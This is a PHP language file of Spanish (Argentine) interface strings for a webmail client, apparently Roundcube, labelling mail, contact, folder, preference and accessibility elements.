$labels['checkmail'] = 'Revisar si hay nuevos mensajes';
$labels['compose'] = 'Redactar';
$labels['writenewmessage'] = 'Crear nuevo mensaje';
$labels['reply'] = 'Responder';
$labels['replytomessage'] = 'Responder mensaje';
$labels['replytoallmessage'] = 'Responder al emisor y a todos los destinatarios';
$labels['replyall'] = 'Responder a todos';
$labels['replylist'] = 'Responder a lista';
$labels['forward'] = 'Reenviar';
$labels['forwardinline'] = 'Reenviar en linea';
$labels['forwardattachment'] = 'Reenviar como adjunto';
$labels['forwardmessage'] = 'Reenviar mensaje';
$labels['bouncemsg'] = 'Volver a enviar (rebote)';
$labels['bounce'] = 'Volver a enviar';
$labels['deletemessage'] = 'Eliminar mensaje';
$labels['movemessagetotrash'] = 'Mover mensaje a la papelera';
$labels['printmessage'] = 'Imprimir este mensaje';
$labels['previousmessage'] = 'Mostrar mensaje anterior';
$labels['firstmessage'] = 'Mostrar primer mensaje';
$labels['nextmessage'] = 'Mostrar siguente mensaje';
$labels['lastmessage'] = 'Mostrar último mensaje';
$labels['backtolist'] = 'Volver a la lista de mensajes';
$labels['viewsource'] = 'Mostrar código';
$labels['mark'] = 'Marcar';
$labels['markmessages'] = 'Marcar mensajes';
$labels['markread'] = 'Como leído';
$labels['markunread'] = 'Como no leído';
$labels['markflagged'] = 'Como marcado';
$labels['markunflagged'] = 'Como no marcado';
$labels['markundeleted'] = 'Como no eliminado';
$labels['moreactions'] = 'Mas acciones...';
$labels['markallread'] = 'Marcar todos como leídos';
$labels['folders-cur'] = 'Solo carpetas seleccionadas';
$labels['folders-sub'] = 'La carpeta seleccionada y sus subcarpetas';
$labels['folders-all'] = 'Todas las carpetas';
$labels['more'] = 'Más';
$labels['back'] = 'Atrás';
$labels['options'] = 'Opciones';
$labels['composeoptions'] = 'Opciones de composición';
$labels['optionsandattachments'] = 'Opciones y adjuntos';
$labels['actions'] = 'Acciones';
$labels['first'] = 'Primero';
$labels['last'] = 'Último';
$labels['previous'] = 'Anterior';
$labels['next'] = 'Siguiente';
$labels['select'] = 'Seleccionar';
$labels['selection'] = 'Selección';
$labels['all'] = 'Todos';
$labels['none'] = 'Ninguno';
$labels['currpage'] = 'Página actual';
$labels['isread'] = 'Leído';
$labels['unread'] = 'Sin leer';
$labels['flagged'] = 'Marcado';
$labels['unflagged'] = 'No marcado';
$labels['unanswered'] = 'Sin respuesta';
$labels['withattachment'] = 'Con adjunto';
$labels['deleted'] = 'Eliminado';
$labels['undeleted'] = 'No eliminado';
$labels['replied'] = 'Respondido';
$labels['forwarded'] = 'Reenviado';
$labels['invert'] = 'Invertir';
$labels['filter'] = 'Filtrar';
$labels['list'] = 'Lista';
$labels['threads'] = 'Conversaciones';
$labels['expand-all'] = 'Expandir Todos';
$labels['expand-unread'] = 'Expandir No Leidos';
$labels['collapse-all'] = 'Colapsar Todos';
$labels['threaded'] = 'Como conversaciones';
$labels['showunread'] = 'Mostrar mensajes no leídos';
$labels['autoexpand_threads'] = 'Expandir mensajes en conversación';
$labels['do_expand'] = 'todas las conversaciones';
$labels['expand_only_unread'] = 'solo con mensajes no leídos';
$labels['fromto'] = 'De/A';
$labels['flag'] = 'Marca';
$labels['attachment'] = 'Adjunto';
$labels['nonesort'] = 'Ninguno';
$labels['sentdate'] = 'Fecha de Enviado';
$labels['arrival'] = 'Fecha de Recepción';
$labels['asc'] = 'Ascendente';
$labels['desc'] = 'Descendente';
$labels['listcolumns'] = 'Listar columnas';
$labels['listsorting'] = 'Ordenar por';
$labels['listorder'] = 'Ordenado por';
$labels['listmode'] = 'Modo vista en lista';
$labels['lmode'] = 'Modo de lista';
$labels['layout'] = 'Disposición';
$labels['layoutwidescreen'] = 'Pantalla ancha';
$labels['layoutdesktop'] = 'Escritorio';
$labels['layoutlist'] = 'Lista';
$labels['layoutwidescreendesc'] = 'Pantalla ancha (vista de 3 columas)';
$labels['layoutdesktopdesc'] = 'Escritorio (lista ancha y previsualización de mensajes inferior)';
$labels['layoutlistdesc'] = 'Lista (sin previsualización de mensajes)';
$labels['folderactions'] = 'Acciones de carpeta...';
$labels['compact'] = 'Compactar';
$labels['empty'] = 'Vaciar';
$labels['importmessages'] = 'Importar mensajes';
$labels['mailimportdesc'] = 'Podés subir correo usando archivos en formato <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> o <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>.';
$labels['mailimportzip'] = 'Se pueden comprimir múltiples archivos como zip.';
$labels['quota'] = 'Uso de disco';
$labels['unknown'] = 'desconocido';
$labels['unlimited'] = 'sin límite';
$labels['quotatype'] = 'Tipo de cuota';
$labels['quotatotal'] = 'Límite';
$labels['quotaused'] = 'Usado';
$labels['quotastorage'] = 'Espacio de disco';
$labels['quotamessage'] = 'Cantidad de mensajes';
$labels['shortheaderdate'] = 'El $date';
$labels['shortheaderto'] = 'Para $to el $date';
$labels['shortheaderfrom'] = 'De $from el $date';
$labels['quicksearch'] = 'Búsqueda rápida';
$labels['searchplaceholder'] = 'Buscar...';
$labels['resetsearch'] = 'Restablecer la búsqueda';
$labels['searchmod'] = 'Opciones de búsqueda';
$labels['msgtext'] = 'Mensaje completo';
$labels['body'] = 'Cuerpo';
$labels['type'] = 'Tipo';
$labels['namex'] = 'Nombre';
$labels['searchscope'] = 'Alcance';
$labels['currentfolder'] = 'Carpeta actual';
$labels['subfolders'] = 'Este y subcarpetas';
$labels['allfolders'] = 'Todas las carpetas';
$labels['searchinterval-1W'] = 'de más de una semana';
$labels['searchinterval-1M'] = 'de más de un mes';
$labels['searchinterval-1Y'] = 'de más de un año';
$labels['searchinterval1W'] = 'de menos de una semana';
$labels['searchinterval1M'] = 'de menos de un mes';
$labels['searchinterval1Y'] = 'de menos de un año';
$labels['openinextwin'] = 'Abrir en una ventana nueva';
$labels['emlsave'] = 'Guardar (.eml)';
$labels['changeformattext'] = 'Mostrar en formato de texto plano';
$labels['changeformathtml'] = 'Mostrar en formato HTML';
$labels['editasnew'] = 'Editar como nuevo';
$labels['send'] = 'Enviar';
$labels['sendmessage'] = 'Enviar ahora el mensaje';
$labels['savemessage'] = 'Guardar como borrador';
$labels['addattachment'] = 'Añadir un archivo';
$labels['charset'] = 'Codificación';
$labels['editortype'] = 'Tipo de editor';
$labels['returnreceipt'] = 'Acuse de recibo';
$labels['dsn'] = 'Notificación de estado del envío';
$labels['mailreplyintro'] = 'El $date, $sender escribió:';
$labels['originalmessage'] = 'Mensaje original';
$labels['selectimage'] = 'Seleccionar imagen';
$labels['addimage'] = 'Agregar imagen';
$labels['selectmedia'] = 'Seleccionar película';
$labels['addmedia'] = 'Agregar película';
$labels['encrypt'] = 'Encriptar';
$labels['encryptmessage'] = 'Encriptar mensaje';
$labels['encryptmessagemailvelope'] = 'Encriptar mensaje con Mailvelope';
$labels['importpubkeys'] = 'Importar claves públicas';
$labels['encryptedsendialog'] = 'Enviando mensaje encriptado';
$labels['encryptandsign'] = 'Encriptar y firmar';
$labels['keyid'] = 'ID de clave';
$labels['keylength'] = 'Bits';
$labels['keyexpired'] = 'Expirado';
$labels['keyrevoked'] = 'Revocado';
$labels['bccinstead'] = 'Usar Cco';
$labels['addheader'] = 'Agregar destinatario (encabezado)';
$labels['insert'] = 'Insertar';
$labels['insertcontact'] = 'Insertar contacto(s)';
$labels['recipient'] = 'Destinatario';
$labels['recipientedit'] = 'Editar destinatario';
$labels['editidents'] = 'Editar identidades';
$labels['spellcheck'] = 'Ortografía';
$labels['checkspelling'] = 'Revisar ortografía';
$labels['resumeediting'] = 'Continuar edición';
$labels['revertto'] = 'Revertir a';
$labels['restore'] = 'Restaurar';
$labels['restoremessage'] = '¿Restaurar mensaje?';
$labels['ignore'] = 'Ignorar';
$labels['responses'] = 'Respuestas';
$labels['insertresponse'] = 'Insertar una respuesta';
$labels['manageresponses'] = 'Administrar respuestas';
$labels['newresponse'] = 'Crear nueva respuesta';
$labels['addresponse'] = 'Agregar respuesta';
$labels['editresponse'] = 'Editar respuesta';
$labels['editresponses'] = 'Editar respuestas';
$labels['responsename'] = 'Nombre';
$labels['responsetext'] = 'Texto de la respuesta';
$labels['attach'] = 'Adjuntar';
$labels['attachments'] = 'Adjuntos';
$labels['upload'] = 'Agregar';
$labels['uploadprogress'] = '$percent ($current de $total)';
$labels['close'] = 'Cerrar';
$labels['messageoptions'] = 'Opciones de mensaje...';
$labels['togglecomposeoptions'] = 'Activar opciones de composición';
$labels['attachmentrename'] = 'Renombrar adjunto';
$labels['low'] = 'Bajo';
$labels['lowest'] = 'Bajísimo';
$labels['normal'] = 'Normal';
$labels['high'] = 'Alto';
$labels['highest'] = 'Altísimo';
$labels['nosubject'] = '(sin asunto)';
$labels['showimages'] = 'Mostrar imágenes';
$labels['allow'] = 'Permitir';
$labels['alwaysshow'] = 'Siempre mostrar imágenes de $sender';
$labels['alwaysallow'] = 'Siempre permitir de $sender';
$labels['isdraft'] = 'Este es un borrador.';
$labels['andnmore'] = '$nr más...';
$labels['details'] = 'Detalles';
$labels['summary'] = 'Resumen';
$labels['headers'] = 'Encabezados';
$labels['allheaders'] = 'Todos los encabezados...';
$labels['togglemoreheaders'] = 'Mostrar más encabezados del mensaje';
$labels['togglefullheaders'] = 'Activar encabezados del mensaje en bruto';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Texto';
$labels['savesentmessagein'] = 'Guardar mensaje enviado en';
$labels['dontsave'] = 'no guardar';
$labels['maxuploadsize'] = 'El tamaño maximo permitido por archivo es $size';
$labels['addcc'] = 'Agregar Cc';
$labels['addbcc'] = 'Agregar Cco';
$labels['addreplyto'] = 'Agregar respuesta a';
$labels['addfollowupto'] = 'Agregar seguimiento-a';
$labels['sendreceipt'] = '¿Enviar confirmación de lectura?';
$labels['mdnrequest'] = 'El remitente de este mensaje desea ser notificado cuando lo leas. ¿Querés enviar esta notificación?';
$labels['receiptread'] = 'Notificación de lectura';
$labels['yourmessage'] = 'Esta es una notificación de lectura de tu mensaje';
$labels['receiptnote'] = 'Nota: Esta notificación sólo significa que tu mensaje fue mostrado en el dispositivo del destinatario. No hay garantía de que el destinatario haya leído o entendido su contenido.';
$labels['sendalwaysto'] = 'Enviar siempre a $email';
$labels['zoomin'] = 'Agrandar';
$labels['zoomout'] = 'Achicar';
$labels['rotate'] = 'Rotar';
$labels['increaseimage'] = 'Aumentar tamaño de imagen';
$labels['decreaseimage'] = 'Disminuir tamaño de imagen';
$labels['rotateimage'] = 'Rotar imagen';
$labels['showtools'] = 'Mostrar herramientas de imagen';
$labels['hidetools'] = 'Ocultar herramientas de imagen';
$labels['name'] = 'Nombre completo';
$labels['firstname'] = 'Nombre';
$labels['surname'] = 'Apellido';
$labels['middlename'] = 'Segundo nombre';
$labels['nameprefix'] = 'Prefijo';
$labels['namesuffix'] = 'Sufijo';
$labels['nickname'] = 'Sobre nombre';
$labels['jobtitle'] = 'Puesto';
$labels['department'] = 'Departamento';
$labels['gender'] = 'Sexo';
$labels['maidenname'] = 'Apellido de soltera';
$labels['email'] = 'Correo';
$labels['phone'] = 'Teléfono';
$labels['address'] = 'Dirección';
$labels['street'] = 'Calle';
$labels['locality'] = 'Ciudad';
$labels['zipcode'] = 'Código Postal';
$labels['region'] = 'Estado/Provincia/Departamento';
$labels['country'] = 'País';
$labels['birthday'] = 'Cumpleaños';
$labels['anniversary'] = 'Aniversario';
$labels['website'] = 'Sitio Web';
$labels['instantmessenger'] = 'Mensajería Instantanea';
$labels['notes'] = 'Notas';
$labels['male'] = 'masculino';
$labels['female'] = 'femenino';
$labels['manager'] = 'Administrador';
$labels['assistant'] = 'Asistente';
$labels['spouse'] = 'Cónyuge';
$labels['allfields'] = 'Todos los campos';
$labels['search'] = 'Buscar';
$labels['searchresult'] = 'Resultado de búsqueda';
$labels['advsearch'] = 'Búsqueda Avanzada';
$labels['advanced'] = 'Avanzado';
$labels['other'] = 'Otro';
$labels['printcontact'] = 'Imprimir contacto';
$labels['qrcode'] = 'Código QR';
$labels['typehome'] = 'Particular';
$labels['typework'] = 'Laboral';
$labels['typeother'] = 'Otro';
$labels['typemobile'] = 'Móvil';
$labels['typemain'] = 'Principal';
$labels['typehomefax'] = 'Fax Particular';
$labels['typeworkfax'] = 'Fax Laboral';
$labels['typecar'] = 'Auto';
$labels['typepager'] = 'Pager';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Asistente';
$labels['typehomepage'] = 'Página Personal';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Perfil';
$labels['addfield'] = 'Agregar campo...';
$labels['addcontact'] = 'Agregar contacto';
$labels['editcontact'] = 'Editar contacto';
$labels['contacts'] = 'Contactos';
$labels['contactproperties'] = 'Propiedades del contacto';
$labels['contactnameandorg'] = 'Nombre y organización';
$labels['personalinfo'] = 'Información personal';
$labels['personal'] = 'Personal';
$labels['contactphoto'] = 'Foto de contacto';
$labels['edit'] = 'Editar';
$labels['cancel'] = 'Cancelar';
$labels['save'] = 'Guardar';
$labels['delete'] = 'Eliminar';
$labels['discard'] = 'Descartar';
$labels['continue'] = 'Continuar';
$labels['ok'] = 'Aceptar';
$labels['rename'] = 'Renombrar';
$labels['addphoto'] = 'Agregar';
$labels['replacephoto'] = 'Reemplazar';
$labels['uploadphoto'] = 'Subir foto';
$labels['choosefile'] = 'Elegir archivo...';
$labels['choosefiles'] = 'Elegir archivos...';
$labels['browse'] = 'Explorar';
$labels['newcontact'] = 'Crear nuevo contacto';
$labels['deletecontact'] = 'Eliminar contactos seleccionados';
$labels['composeto'] = 'Enviar mensaje a';
$labels['contactsfromto'] = 'Contactos $from a $to de $count';
$labels['print'] = 'Imprimir';
$labels['export'] = 'Exportar';
$labels['exportall'] = 'Exportar todo';
$labels['exportsel'] = 'Exportar lo seleccionado';
$labels['exportvcards'] = 'Exportar contactos en format vCard';
$labels['newgroup'] = 'Crear nuevo grupo';
$labels['addgroup'] = 'Agregar grupo';
$labels['grouprename'] = 'Renombrar grupo';
$labels['groupdelete'] = 'Eliminar grupo';
$labels['groupassign'] = 'Asignar a grupo...';
$labels['groupremove'] = 'Eliminar del grupo';
$labels['groupremoveselected'] = 'Remover del grupo los contactos seleccionados';
$labels['uponelevel'] = 'Subir un nivel';
$labels['previouspage'] = 'Mostrar grupo anterior';
$labels['firstpage'] = 'Mostrar primer grupo';
$labels['nextpage'] = 'Mostrar siguiente grupo';
$labels['lastpage'] = 'Mostrar último grupo';
$labels['group'] = 'Grupo';
$labels['groups'] = 'Grupos';
$labels['listgroup'] = 'Listar miembros del grupo';
$labels['personaladrbook'] = 'Direcciones personales';
$labels['searchsave'] = 'Guardar búsqueda';
$labels['searchdelete'] = 'Eliminar búsqueda';
$labels['import'] = 'Importar';
$labels['importcontacts'] = 'Importar contactos';
$labels['importfromfile'] = 'Importar desde archivo';
$labels['importtarget'] = 'Agregar contactos a';
$labels['importreplace'] = 'Reemplazar completamente la lista de contactos';
$labels['importgroups'] = 'Importar asignaciones de grupo';
$labels['importgroupsall'] = 'Todo (crea grupos si es necesario)';
$labels['importgroupsexisting'] = 'Sólo para grupos existentes';
$labels['importdesc'] = 'Podés subir contactos desde una libreta de direcciones existente.<br/>Actualmente es soportada la importación de direcciones desde los formatos <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> o CSV (valores separados por coma).';
$labels['importmapdesc'] = 'Confirme que la información de mapeado de campos mostrada abajo es correcta antes de proceder con la importación de datos del CSV (separado por comas).';
$labels['fieldnotmapped'] = 'Campo no mapeado (no importar)';
$labels['skipheader'] = 'No importar la primera línea (cabeceras)';
$labels['done'] = 'Hecho';
$labels['settingsfor'] = 'Ajustes para';
$labels['about'] = 'Acerca de';
$labels['preferences'] = 'Preferencias';
$labels['userpreferences'] = 'Preferencias de usuario';
$labels['editpreferences'] = 'Editar preferencias de usuario';
$labels['identities'] = 'Identidades';
$labels['manageidentities'] = 'Administrar identidades';
$labels['newidentity'] = 'Crear nueva identidad';
$labels['addidentity'] = 'Agregar identidad';
$labels['editidentity'] = 'Editar identidad';
$labels['identityencryption'] = 'Encriptación';
$labels['preferhtml'] = 'Mostrar HTML';
$labels['defaultcharset'] = 'Juego de Caracteres predeterminados';
$labels['htmlmessage'] = 'Mensaje HTML';
$labels['messagepart'] = 'Parte';
$labels['digitalsig'] = 'Firma digital';
$labels['dateformat'] = 'Formato de fecha';
$labels['timeformat'] = 'Formato de hora';
$labels['prettydate'] = 'Fecha detallada';
$labels['setdefault'] = 'Establecer como predeterminada';
$labels['autodetect'] = 'Automático';
$labels['language'] = 'Idioma';
$labels['timezone'] = 'Zona horaria';
$labels['pagesize'] = 'Filas por página';
$labels['signature'] = 'Firma';
$labels['dstactive'] = 'Cambio de horario';
$labels['showinextwin'] = 'Abrir mensaje en nueva ventana';
$labels['composeextwin'] = 'Redactar en nueva ventana';
$labels['htmleditor'] = 'Componer mensaje en HTML';
$labels['htmlonreply'] = 'al responder un mensaje HTML';
$labels['htmlonreplyandforward'] = 'al reenviar o responder un mensaje HTML';
$labels['htmlsignature'] = 'Firma HTML';
$labels['showemail'] = 'Mostrar dirección de correo electrónico junto al nombre a mostrar';
$labels['previewpane'] = 'Mostrar vista preliminar';
$labels['skin'] = 'Apariencia de la interfaz';
$labels['logoutclear'] = 'Vaciar papelera al cerrar sesión';
$labels['logoutcompact'] = 'Compactar la bandeja de entrada al cerrar sesión';
$labels['uisettings'] = 'Interfaz de usuario';
$labels['serversettings'] = 'Configuración del servidor';
$labels['mailboxview'] = 'Vista de buzón';
$labels['mdnrequests'] = 'Notificaciones de envío';
$labels['askuser'] = 'preguntame';
$labels['autosend'] = 'enviar acuse de recibo';
$labels['autosendknown'] = 'enviar acuse de recibo a mis contactos, sino preguntarme';
$labels['autosendknownignore'] = 'enviar acuse de recibo a mis contactos, sino ignorar';
$labels['autosendtrusted'] = 'Enviar la confirmación de recepción a mis remitentes de confianza, para el resto preguntarme.';
$labels['autosendtrustedignore'] = 'Enviar la confirmación de recepción a mis remitentes de confianza, para el resto ignorar.';
$labels['ignorerequest'] = 'Ignorar solicitud';
$labels['readwhendeleted'] = 'Marcar el mensaje como leído al borrarlo';
$labels['flagfordeletion'] = 'Marcar el mensaje para borrarse en vez de borrarlo';
$labels['skipdeleted'] = 'No mostrar mensajes eliminados';
$labels['deletealways'] = 'Cuando no se pueda mover un mensaje a la papelera, eliminarlo';
$labels['deletejunk'] = 'Eliminar directamente mensajes en No deseado';
$labels['showremoteimages'] = 'Mostrar imágenes remotas';
$labels['allowremoteresources'] = 'Permitir contenido remoto (imágenes, estilos)';
$labels['fromknownsenders'] = 'de remitentes conocidos';
$labels['fromtrustedsenders'] = 'de remitentes de confianza';
$labels['frommycontacts'] = 'de mis contactos';
$labels['always'] = 'siempre';
$labels['alwaysbutplain'] = 'siempre, excepto al responder un mensaje en texto plano';
$labels['showinlineimages'] = 'Mostrar imágenes adjuntas debajo del mensaje';
$labels['autosavedraft'] = 'Guardar borrador automáticamente';
$labels['everynminutes'] = 'cada $n minuto(s)';
$labels['refreshinterval'] = 'Actualizar (verificar por nuevos mensajes, etc.)';
$labels['never'] = 'nunca';
$labels['immediately'] = 'inmediatamente';
$labels['messagesdisplaying'] = 'Vista de mensajes';
$labels['messagescomposition'] = 'Composición de mensajes';
$labels['mimeparamfolding'] = 'Nombres de adjuntos';
$labels['2231folding'] = 'RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'RFC 2047 (Otro)';
$labels['force7bit'] = 'Usar codificación MIME para caracteres de 8 bit';
$labels['savelocalstorage'] = "Guardar en el almacenamiento local del navegador (temporalmente)";
$labels['advancedoptions'] = 'Opciones Avanzadas';
$labels['toggleadvancedoptions'] = 'Activar opciones avanzadas';
$labels['focusonnewmessage'] = 'Traer al frente la ventana del navegador cuando haya nuevos mensajes';
$labels['checkallfolders'] = 'Verificar todas las carpetas por nuevos mensajes';
$labels['displaynext'] = 'Mostrar el siguiente elemento de la lista después de borrar o mover';
$labels['defaultfont'] = 'Fuente por defecto para mensajes HTML';
$labels['mainoptions'] = 'Opciones principales';
$labels['browseroptions'] = 'Opciones de navegador';
$labels['section'] = 'Selección';
$labels['maintenance'] = 'Mantenimiento';
$labels['newmessage'] = 'Nuevo mensaje';
$labels['signatureoptions'] = 'Opciones de firma';
$labels['whenreplying'] = 'Al responder';
$labels['replyempty'] = 'no citar el mensaje original';
$labels['replytopposting'] = 'iniciar el nuevo mensaje sobre el original';
$labels['replytoppostingnoindent'] = 'iniciar el nuevo mensaje sobre el original (sin sangría)';
$labels['replybottomposting'] = 'iniciar el nuevo mensaje debajo del original';
$labels['replyremovesignature'] = 'Al responder, eliminar la firma del mensaje original';
$labels['autoaddsignature'] = 'Agregar la firma automáticamente';
$labels['newmessageonly'] = 'nuevos mensajes solamente';
$labels['replyandforwardonly'] = 'respuestas o reenvios solamente';
$labels['insertsignature'] = 'Insertar firma';
$labels['sigbelow'] = 'Agregar la firma debajo del mensaje citado';
$labels['sigseparator'] = 'Forzar separador estándar en las firmas';
$labels['automarkread'] = 'Marcar mensajes como leídos';
$labels['afternseconds'] = 'despues de $n segundos';
$labels['reqmdn'] = 'Siempre solicitar acuse de recibo';
$labels['reqdsn'] = 'Siempre solicitar notificación de estado de envío';
$labels['replysamefolder'] = 'Colocar respuestas en la carpeta del mensaje siendo respondido';
$labels['defaultabook'] = 'Libreta de direcciones por defecto';
$labels['autocompletesingle'] = 'Omitir dirección de correo electrónico alternativo al autocompletar';
$labels['listnamedisplay'] = 'Listar contactos como';
$labels['contactformmode'] = 'Modo de formulario de contacto';
$labels['privatemode'] = 'Privado (Casa)';
$labels['businessmode'] = 'Empresa (Trabajo)';
$labels['collectedaddresses'] = 'Direcciones recolectadas';
$labels['collectedrecipients'] = 'Destinatarios recolectados';
$labels['collectedrecipientsopt'] = 'Almacena los destinatarios de correos electrónicos enviados en';
$labels['collectedsendersopt'] = 'Almacena los remitentes de confianza en';
$labels['trustedsenders'] = 'Remitentes de confianza';
$labels['spellcheckbeforesend'] = 'Verificar la ortografía antes de enviar un mensaje';
$labels['spellcheckoptions'] = 'Opciones del verificador de ortografía';
$labels['spellcheckignoresyms'] = 'Ignorar palabras con símbolos';
$labels['spellcheckignorenums'] = 'Ignorar palabras con números';
$labels['spellcheckignorecaps'] = 'Ignorar palabras con todas las letras en mayúscula';
$labels['addtodict'] = 'Agregar al diccionario';
$labels['mailtoprotohandler'] = 'Registrar protocolo para manejar enlaces mailto:';
$labels['standardwindows'] = 'Manejar emergentes como ventanas estándar';
$labels['forwardmode'] = 'Reenvío de mensajes';
$labels['inline'] = 'en línea';
$labels['asattachment'] = 'como adjunto';
$labels['replyallmode'] = 'Acción por defecto del botón [Responder a todos]';
$labels['replyalldefault'] = 'responder a todos';
$labels['replyalllist'] = 'responder sólo a la lista de correos (si se encuentra)';
$labels['allmessages'] = 'todos los mensajes';
$labels['olderxdays'] = 'anterior a $x días';
$labels['folder'] = 'Carpeta';
$labels['folders'] = 'Carpetas';
$labels['foldername'] = 'Nombre de carpeta';
$labels['subscribed'] = 'Suscripta';
$labels['messagecount'] = 'Mensajes';
$labels['create'] = 'Crear';
$labels['createfolder'] = 'Crear nueva carpeta';
$labels['managefolders'] = 'Administrar carpetas';
$labels['specialfolders'] = 'Carpetas Especiales';
$labels['properties'] = 'Propiedades';
$labels['folderproperties'] = 'Propiedades de carpeta';
$labels['parentfolder'] = 'Carpeta principal';
$labels['location'] = 'Ubicación';
$labels['info'] = 'Información';
$labels['getfoldersize'] = 'Clic para obtener el tamaño de la carpeta';
$labels['changesubscription'] = 'Clic para cambiar suscripción';
$labels['foldertype'] = 'Tipo de carpeta';
$labels['personalfolder'] = 'Carpeta privada';
$labels['otherfolder'] = 'Carpeta de otros usuarios';
$labels['sharedfolder'] = 'Carpeta pública';
$labels['findfolders'] = 'Buscar carpetas';
$labels['findcontacts'] = 'Buscar contactos';
$labels['findmail'] = 'Buscar mensajes de correo';
$labels['namespace.personal'] = 'Personal';
$labels['namespace.other'] = 'Otros usuarios';
$labels['namespace.shared'] = 'Compartido';
$labels['dualuselabel'] = 'Solo pueden contener';
$labels['dualusemail'] = 'mensajes';
$labels['dualusefolder'] = 'carpetas';
$labels['generate'] = 'Generar';
$labels['encryptioncreatekey'] = 'Crear un nuevo par de claves';
$labels['openmailvelopesettings'] = 'Abrir ajustes de Mailvelope';
$labels['encryptionprivkeysinmailvelope'] = 'Tenés $nr claves privadas coincidentes, guardadas en tu almacén de claves de Mailvelope:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Esta identidad del remitente aún no tiene una clave privada PGP almacenada en tu extensión Mailvelope. ¿Querés crear una para habilitar la mensajería cifrada?';
$labels['encryption'] = 'Encriptación';
$labels['mailvelopeoptions'] = 'Opciones de Mailvelope';
$labels['mailvelopemainkeyring'] = 'Usar el llavero de claves principal de Mailvelope';
$labels['mailvelopenotfound'] = 'La extensión Mailvelope no está habilitada/instalada en su navegador.';
$labels['sortby'] = 'Ordenar por';
$labels['sortasc'] = 'Orden ascendente';
$labels['sortdesc'] = 'Orden descendente';
$labels['undo'] = 'Deshacer';
$labels['installedplugins'] = 'Extensiones instaladas';
$labels['plugin'] = 'Extensión';
$labels['version'] = 'Versión';
$labels['source'] = 'Fuente';
$labels['destination'] = 'Destino';
$labels['license'] = 'Licencia';
$labels['support'] = 'Obtener soporte';
$labels['savedsearches'] = 'Búsquedas guardadas';
$labels['dateformatY'] = 'YYYY';
$labels['dateformaty'] = 'YY';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Inglés';
$labels['westerneuropean'] = 'Europa Occidental';
$labels['easterneuropean'] = 'Europa del Este';
$labels['southeasterneuropean'] = 'Sudeste de Europa';
$labels['baltic'] = 'Báltico';
$labels['cyrillic'] = 'Cirílico';
$labels['arabic'] = 'Árabe';
$labels['greek'] = 'Griego';
$labels['hebrew'] = 'Hebreo';
$labels['turkish'] = 'Turco';
$labels['nordic'] = 'Nórdico';
$labels['thai'] = 'Tailandés';
$labels['celtic'] = 'Céltico';
$labels['vietnamese'] = 'Vietnamita';
$labels['japanese'] = 'Japonés';
$labels['korean'] = 'Coreano';
$labels['chinese'] = 'Chino';
$labels['arialabeltopnav'] = 'Control de ventana';
$labels['arialabeltasknav'] = 'Tareas de aplicación';
$labels['arialabeltoolbar'] = 'Barra de herramientas de aplicación';
$labels['arialabellistnav'] = 'Navegación por listas';
$labels['arialabelactivetask'] = 'Tarea activa';
$labels['arialabelmessagessearchfilter'] = 'Filtro de listado de correo electrónico';
$labels['arialabelmailsearchform'] = 'Formulario de búsqueda de correo electrónico';
$labels['arialabelcontactsearchform'] = 'Formulario de búsqueda de contactos';
$labels['arialabelmailquicksearchbox'] = 'Ingreso de búsqueda de correo electrónico';
$labels['arialabelquicksearchbox'] = 'Ingreso de búsqueda';
$labels['arialabelfoldersearchfilter'] = 'Filtro de listado de carpetas';
$labels['arialabelfoldersearchform'] = 'Formulario de búsqueda de carpetas';
$labels['arialabelfolderlist'] = 'Selección de carpeta de correo electrónico';
$labels['arialabelmessagelist'] = 'Listado de mensajes de correo electrónico';
$labels['arialabelmailpreviewframe'] = 'Previsualización de mensaje';
$labels['arialabelmailboxmenu'] = 'Menú de acciones de carpeta';
$labels['arialabellistselectmenu'] = 'Menú de selección de lista';
$labels['arialabelthreadselectmenu'] = 'Menú de listado por hilo';
$labels['arialabelmessagelistoptions'] = 'Opciones de mostrado de mensajes y ordenamiento';
$labels['arialabelmailimportdialog'] = 'Diálogo de importación de mensaje';
$labels['arialabelmessagenav'] = 'Navegación de mensajes';
$labels['arialabelmessagebody'] = 'Cuerpo de mensaje';
$labels['arialabelmessageactions'] = 'Acciones de mensaje';
$labels['arialabelcontactquicksearch'] = 'Formulario de búsqueda de contactos';
$labels['arialabelcontactsearchbox'] = 'Ingreso de búsqueda de contactos';
$labels['arialabelmessageheaders'] = 'Encabezados de mensaje';
$labels['arialabelforwardingoptions'] = 'Opciones de reenvío';
$labels['arialabelreplyalloptions'] = 'Opciones de Responder a todos';
$labels['arialabelmoremessageactions'] = 'Más acciones de mensaje';
$labels['arialabelmorecontactactions'] = 'Más acciones de contacto';
$labels['arialabelmarkmessagesas'] = 'Marcar mensaje seleccionado como...';
$labels['arialabelcomposeoptions'] = 'Opciones de composición';
$labels['arialabelresponsesmenu'] = 'Menú de respuestas enlatadas';
$labels['arialabelattachmentuploadform'] = 'Formulario para subir adjuntos';
$labels['arialabelattachmentmenu'] = 'Opciones de adjuntos';
$labels['arialabelmailtomenu'] = 'Opciones de direcciones de correo';
$labels['arialabelattachmentpreview'] = 'Previsualización del adjunto';
$labels['ariasummarycomposecontacts'] = 'Listar los contactos y grupos para seleccionar como destinatarios';
$labels['arialabelcontactexportoptions'] = 'Opciones de exportación de mensajes';
$labels['arialabelabookgroupoptions'] = 'Opciones de libreta de direcciones/grupo';
$labels['arialabelpreferencesform'] = 'Formulario de preferencias';
$labels['arialabelidentityeditfrom'] = 'Formulario de edición de identidades';
$labels['arialabelresponseeditfrom'] = 'Formulario de edición de respuesta';
$labels['arialabelsearchterms'] = 'Términos de búsqueda';
$labels['arialabeldropactionmenu'] = 'Menú de acciones de arrastrar y soltar';
$labels['arialabelheadersmenu'] = 'Menú de agregado de destinatario (encabezado)';
$labels['arialabelimagetools'] = 'Herramientas de imagen';
$labels['helplistnavigation'] = 'Listar navegación por teclado';
